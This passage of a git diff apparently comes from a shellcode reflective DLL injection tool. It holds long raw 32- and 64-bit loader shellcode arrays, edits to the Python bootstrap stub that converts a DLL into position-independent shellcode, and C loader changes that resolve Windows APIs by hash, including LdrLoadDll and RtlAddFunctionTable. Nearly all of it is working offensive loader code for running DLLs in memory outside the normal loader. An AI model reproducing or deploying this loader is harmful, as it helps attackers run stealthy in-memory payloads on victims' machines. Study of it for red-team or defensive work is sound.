24\x20\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB' + rdiShellcode64 = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3' #MARKER:E if is64BitDLL(dllBytes): @@ -143,7 +143,7 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): rdiShellcode = rdiShellcode32 bootstrap = b'' - bootstrapSize = 46 + bootstrapSize = 49 # call next instruction (Pushes next instruction address to stack) bootstrap += b'\xe8\x00\x00\x00\x00' @@ -160,15 +160,15 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): # mov ebp, esp bootstrap += b'\x89\xe5' - # mov ebx, eax - copy our location in memory to ebx before we start modifying eax - bootstrap += b'\x89\xc3' + # mov edx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap += b'\x89\xc2' # add eax, bootstrap += b'\x05' bootstrap += pack('I', dllOffset) - # add ebx, + - bootstrap += b'\x81\xc3' + # add edx, + + bootstrap += b'\x81\xc2' userDataLocation = dllOffset + len(dllBytes) bootstrap += pack('I', userDataLocation) @@ -180,8 +180,8 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): bootstrap += b'\x68' bootstrap += pack('I', len(userData)) - # push ebx - bootstrap += b'\x53' + # push edx + bootstrap += b'\x52' # push bootstrap += b'\x68' @@ -195,6 +195,9 @@ def ConvertToShellcode(dllBytes, functionHash=0x10, userData=b'None', flags=0): bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions bootstrap += b'\x00\x00\x00' + # add esp, 0x14 - remove arguments from stack (cdecl) + bootstrap += b'\x83\xc4\x14' + # leave bootstrap += b'\xc9' diff --git a/README.md b/README.md index 2618f2c..2eb9c33 100644 --- a/README.md +++ b/README.md @@ -55,7 +55,7 @@ The PE loader code uses `flags` argument to control the various options of loadi ## Building -This project is built using Visual Studio 2015 (v140) and Windows SDK 8.1. The python script is written using Python 3. +This project is built using Visual Studio 2019 (v142) and Windows SDK 10. The python script is written using Python 3. The Python and Powershell scripts are located at: - `Python\ConvertToShellcode.py` diff --git a/ShellcodeRDI/ShellcodeRDI.c b/ShellcodeRDI/ShellcodeRDI.c index 4dec22c..05ca810 100644 --- a/ShellcodeRDI/ShellcodeRDI.c +++ b/ShellcodeRDI/ShellcodeRDI.c @@ -34,6 +34,11 @@ #define LOCALFREE_HASH 0xea61fcb1 #define VIRTUALFREE_HASH 0x300f2f0b #define SLEEP_HASH 0xe035f044 +#define RTLADDFUNCTIONTABLE_HASH 0x45b82eba + +#define LDRLOADDLL_HASH 0xbdbf9c13 +#define LDRGETPROCADDRESS_HASH 0x5ed941b5 + #define HASH_KEY 13 @@ -53,16 +58,17 @@ typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR); typedef ULONG_PTR(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR); typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); typedef VOID(WINAPI * EXITTHREAD)(DWORD); -typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); +typedef BOOL(NTAPI * FLUSHINSTRUCTIONCACHE)(HANDLE, LPCVOID, SIZE_T); typedef VOID(WINAPI * GETNATIVESYSTEMINFO)(LPSYSTEM_INFO); typedef BOOL(WINAPI * VIRTUALPROTECT)(LPVOID, SIZE_T, DWORD, PDWORD); typedef int (WINAPI * MESSAGEBOXA)(HWND, LPSTR, LPSTR, UINT); typedef BOOL(WINAPI * VIRTUALFREE)(LPVOID, SIZE_T, DWORD); typedef BOOL(WINAPI * LOCALFREE)(LPVOID); typedef VOID(WINAPI* SLEEP)(DWORD); +typedef BOOLEAN(WINAPI* RTLADDFUNCTIONTABLE)(PVOID, DWORD, DWORD64); - -#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) +typedef NTSTATUS(WINAPI *LDRLOADDLL)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE); +typedef NTSTATUS(WINAPI *LDRGETPROCADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID*); #pragma warning( push ) #pragma warning( disable : 4214 ) // nonstandard extension @@ -70,13 +76,43 @@ typedef struct { WORD offset : 12; WORD type : 4; -} IMAGE_RELOC, *PIMAGE_RELOC; +} IMAGE_RELOC, * PIMAGE_RELOC; #pragma warning(pop) static inline size_t AlignValueUp(size_t value, size_t alignment) { return (value + alignment - 1) & ~(alignment - 1); } +static inline size_t +_strlen(char* s) { + size_t i; + for (i = 0; s[i] != '\0'; i++); + return i; +} + +static inline size_t +_wcslen(wchar_t* s) { + size_t i; + for (i = 0; s[i] != '\0'; i++); + return i; +} + +#define RVA(type, base, rva) (type)((ULONG_PTR) base + rva) + +#define FILL_STRING(string, buffer) \ + string.Length = (USHORT)_strlen(buffer); \ + string.MaximumLength = string.Length; \ + string.Buffer = buffer + +#define FILL_UNI_STRING(string, buffer) \ + string.Length = (USHORT)_wcslen(buffer); \ + string.MaximumLength = string.Length; \ + string.Buffer = buffer + +#define FILL_STRING_WITH_BUF(string, buffer) \ + string.Length = sizeof(buffer); \ + string.MaximumLength = string.Length; \ + string.Buffer = (PCHAR)buffer ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen, DWORD flags) { @@ -84,16 +120,22 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD #pragma warning( disable : 4055 ) // Ignore cast warnings // Function pointers + + LDRLOADDLL pLdrLoadDll = NULL; + LDRGETPROCADDRESS pLdrGetProcAddress = NULL; + LOADLIBRARYA pLoadLibraryA = NULL; - GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; - NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + FLUSHINSTRUCTIONCACHE pFlushInstructionCache = NULL; GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL; VIRTUALPROTECT pVirtualProtect = NULL; VIRTUALFREE pVirtualFree = NULL; LOCALFREE pLocalFree = NULL; SLEEP pSleep = NULL; - /// MESSAGEBOXA pMessageBoxA = NULL; + RTLADDFUNCTIONTABLE pRtlAddFunctionTable = NULL; + + //CHAR msg[2] = { 'a','\0' }; + //MESSAGEBOXA pMessageBoxA = NULL; // PE data PIMAGE_NT_HEADERS ntHeaders; @@ -108,6 +150,7 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD PIMAGE_BASE_RELOCATION relocation; PIMAGE_RELOC relocList; PIMAGE_EXPORT_DIRECTORY exportDir; + PIMAGE_RUNTIME_FUNCTION_ENTRY rfEntry; PDWORD expName; PWORD expOrdinal; LPCSTR expNameStr; @@ -131,9 +174,26 @@ ULONG_PTR LoadDLL(PBYTE dllData, DWORD dwFunctionHash, LPVOID lpUserData, DWORD 